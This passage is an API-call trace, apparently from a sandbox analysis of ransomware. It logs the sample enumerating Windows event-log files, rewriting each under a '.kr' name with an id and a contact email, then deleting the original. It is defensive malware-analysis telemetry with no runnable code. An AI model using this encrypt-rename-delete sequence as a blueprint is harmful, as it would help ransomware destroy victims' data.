(lpString=".zip") returned 4 [0101.616] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0101.616] lstrlenW (lpString=".rar") returned 4 [0101.616] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0101.616] lstrlenW (lpString=".bz2") returned 4 [0101.616] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0101.616] lstrlenW (lpString=".7z") returned 3 [0101.616] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0101.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0101.616] lstrlenW (lpString=".dbf") returned 4 [0101.616] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0101.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0101.616] lstrlenW (lpString=".1cd") returned 4 [0101.616] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0101.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0101.616] lstrlenW (lpString=".jpg") returned 4 [0101.616] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0101.616] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0101.616] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 47 [0101.616] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.617] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0101.617] CloseHandle (hObject=0x38c) returned 1 [0101.617] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20 [0101.617] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.617] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.618] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.618] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.618] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0101.618] GetLastError () returned 0x0 [0101.618] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0101.621] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0101.623] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.623] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x132, lpOverlapped=0x0) returned 1 [0101.623] SetEndOfFile (hFile=0x34c) returned 1 [0101.623] CloseHandle (hObject=0x34c) returned 1 [0101.626] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.626] SetEndOfFile (hFile=0x38c) returned 1 [0101.627] CloseHandle (hObject=0x38c) returned 1 [0101.627] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0101.627] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1 [0101.627] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0101.627] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0101.627] lstrlenW (lpString=".doc") returned 4 [0101.628] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0101.628] lstrlenW (lpString=".docx") returned 5 [0101.628] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0101.628] lstrlenW (lpString=".pdf") returned 4 [0101.628] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0101.628] lstrlenW (lpString=".xls") returned 4 [0101.628] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0101.628] lstrlenW (lpString=".xlsx") returned 5 [0101.628] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0101.628] lstrlenW (lpString=".ppt") returned 4 [0101.628] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0101.628] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0101.628] lstrlenW (lpString=".zip") returned 4 [0101.628] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0101.628] lstrlenW (lpString=".rar") returned 4 [0101.628] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0101.628] lstrlenW (lpString=".bz2") returned 4 [0101.628] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0101.628] lstrlenW (lpString=".7z") returned 3 [0101.628] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0101.628] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0101.628] lstrlenW (lpString=".dbf") returned 4 [0101.628] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0101.628] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0101.628] lstrlenW (lpString=".1cd") returned 4 [0101.628] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0101.628] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0101.628] lstrlenW (lpString=".jpg") returned 4 [0101.628] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0101.628] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0101.629] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0101.629] lstrlenW (lpString=".doc") returned 4 [0101.629] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0101.629] lstrlenW (lpString=".docx") returned 5 [0101.629] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0101.629] lstrlenW (lpString=".pdf") returned 4 [0101.629] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0101.629] lstrlenW (lpString=".xls") returned 4 [0101.629] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0101.629] lstrlenW (lpString=".xlsx") returned 5 [0101.629] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0101.629] lstrlenW (lpString=".ppt") returned 4 [0101.629] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0101.629] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0101.629] lstrlenW (lpString=".zip") returned 4 [0101.629] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0101.629] lstrlenW (lpString=".rar") returned 4 [0101.629] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0101.629] lstrlenW (lpString=".bz2") returned 4 [0101.629] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0101.629] lstrlenW (lpString=".7z") returned 3 [0101.629] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0101.629] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0101.629] lstrlenW (lpString=".dbf") returned 4 [0101.629] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0101.629] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0101.629] lstrlenW (lpString=".1cd") returned 4 [0101.629] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0101.629] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0101.629] lstrlenW (lpString=".jpg") returned 4 [0101.629] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0101.630] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0101.630] lstrlenW (lpString="Microsoft-Windows-Known Folders API Service.evtx") returned 48 [0101.630] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.630] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0101.630] CloseHandle (hObject=0x38c) returned 1 [0101.630] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20 [0101.630] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.630] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.630] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.630] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.630] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0101.631] GetLastError () returned 0x0 [0101.631] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0101.633] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0101.635] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.635] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x134, lpOverlapped=0x0) returned 1 [0101.635] SetEndOfFile (hFile=0x34c) returned 1 [0101.635] CloseHandle (hObject=0x34c) returned 1 [0102.682] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.683] SetEndOfFile (hFile=0x38c) returned 1 [0102.684] CloseHandle (hObject=0x38c) returned 1 [0102.684] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0102.685] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1 [0102.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0102.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0102.685] lstrlenW (lpString=".doc") returned 4 [0102.685] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0102.685] lstrlenW (lpString=".docx") returned 5 [0102.685] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0102.685] lstrlenW (lpString=".pdf") returned 4 [0102.685] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0102.685] lstrlenW (lpString=".xls") returned 4 [0102.685] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0102.685] lstrlenW (lpString=".xlsx") returned 5 [0102.686] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0102.686] lstrlenW (lpString=".ppt") returned 4 [0102.686] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0102.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0102.686] lstrlenW (lpString=".zip") returned 4 [0102.686] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0102.686] lstrlenW (lpString=".rar") returned 4 [0102.686] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0102.686] lstrlenW (lpString=".bz2") returned 4 [0102.686] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0102.686] lstrlenW (lpString=".7z") returned 3 [0102.686] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0102.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0102.686] lstrlenW (lpString=".dbf") returned 4 [0102.686] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0102.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0102.686] lstrlenW (lpString=".1cd") returned 4 [0102.686] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0102.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0102.686] lstrlenW (lpString=".jpg") returned 4 [0102.686] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0102.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0102.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0102.686] lstrlenW (lpString=".doc") returned 4 [0102.687] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0102.687] lstrlenW (lpString=".docx") returned 5 [0102.687] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0102.687] lstrlenW (lpString=".pdf") returned 4 [0102.687] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0102.687] lstrlenW (lpString=".xls") returned 4 [0102.687] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0102.687] lstrlenW (lpString=".xlsx") returned 5 [0102.687] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0102.687] lstrlenW (lpString=".ppt") returned 4 [0102.687] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0102.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0102.687] lstrlenW (lpString=".zip") returned 4 [0102.687] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0102.687] lstrlenW (lpString=".rar") returned 4 [0102.687] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0102.687] lstrlenW (lpString=".bz2") returned 4 [0102.687] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0102.687] lstrlenW (lpString=".7z") returned 3 [0102.687] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0102.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0102.687] lstrlenW (lpString=".dbf") returned 4 [0102.687] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0102.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0102.687] lstrlenW (lpString=".1cd") returned 4 [0102.687] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0102.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0102.688] lstrlenW (lpString=".jpg") returned 4 [0102.688] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0102.688] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0102.688] lstrlenW (lpString="Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 50 [0102.688] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0102.688] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0102.688] CloseHandle (hObject=0x38c) returned 1 [0102.689] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20 [0102.689] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.689] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0102.689] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.689] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.689] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0102.689] GetLastError () returned 0x0 [0102.689] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0102.698] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0102.701] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.701] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x138, lpOverlapped=0x0) returned 1 [0102.701] SetEndOfFile (hFile=0x34c) returned 1 [0102.701] CloseHandle (hObject=0x34c) returned 1 [0102.704] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.704] SetEndOfFile (hFile=0x38c) returned 1 [0102.706] CloseHandle (hObject=0x38c) returned 1 [0102.706] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0102.706] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1 [0102.707] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0102.707] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0102.707] lstrlenW (lpString=".doc") returned 4 [0102.707] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0102.707] lstrlenW (lpString=".docx") returned 5 [0102.707] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0102.707] lstrlenW (lpString=".pdf") returned 4 [0102.707] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0102.707] lstrlenW (lpString=".xls") returned 4 [0102.707] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0102.707] lstrlenW (lpString=".xlsx") returned 5 [0102.707] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0102.707] lstrlenW (lpString=".ppt") returned 4 [0102.707] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0102.707] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0102.707] lstrlenW (lpString=".zip") returned 4 [0102.707] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0102.707] lstrlenW (lpString=".rar") returned 4 [0102.707] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0102.707] lstrlenW (lpString=".bz2") returned 4 [0102.707] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0102.707] lstrlenW (lpString=".7z") returned 3 [0102.708] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0102.708] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0102.708] lstrlenW (lpString=".dbf") returned 4 [0102.708] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0102.708] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0102.711] lstrlenW (lpString=".1cd") returned 4 [0102.711] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0102.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0102.711] lstrlenW (lpString=".jpg") returned 4 [0102.711] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0102.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0102.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0102.711] lstrlenW (lpString=".doc") returned 4 [0102.711] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0102.711] lstrlenW (lpString=".docx") returned 5 [0102.711] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0102.711] lstrlenW (lpString=".pdf") returned 4 [0102.711] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0102.711] lstrlenW (lpString=".xls") returned 4 [0102.711] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0102.711] lstrlenW (lpString=".xlsx") returned 5 [0102.711] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0102.711] lstrlenW (lpString=".ppt") returned 4 [0102.712] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0102.712] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0102.712] lstrlenW (lpString=".zip") returned 4 [0102.712] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0102.712] lstrlenW (lpString=".rar") returned 4 [0102.712] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0102.712] lstrlenW (lpString=".bz2") returned 4 [0102.712] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0102.712] lstrlenW (lpString=".7z") returned 3 [0102.712] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0102.712] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0102.712] lstrlenW (lpString=".dbf") returned 4 [0102.712] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0102.712] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0102.712] lstrlenW (lpString=".1cd") returned 4 [0102.712] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0102.712] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0102.712] lstrlenW (lpString=".jpg") returned 4 [0102.712] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0102.712] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0102.713] lstrlenW (lpString="Microsoft-Windows-Ntfs%4Operational.evtx") returned 40 [0102.713] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0102.714] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0102.714] CloseHandle (hObject=0x38c) returned 1 [0102.714] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20 [0102.714] 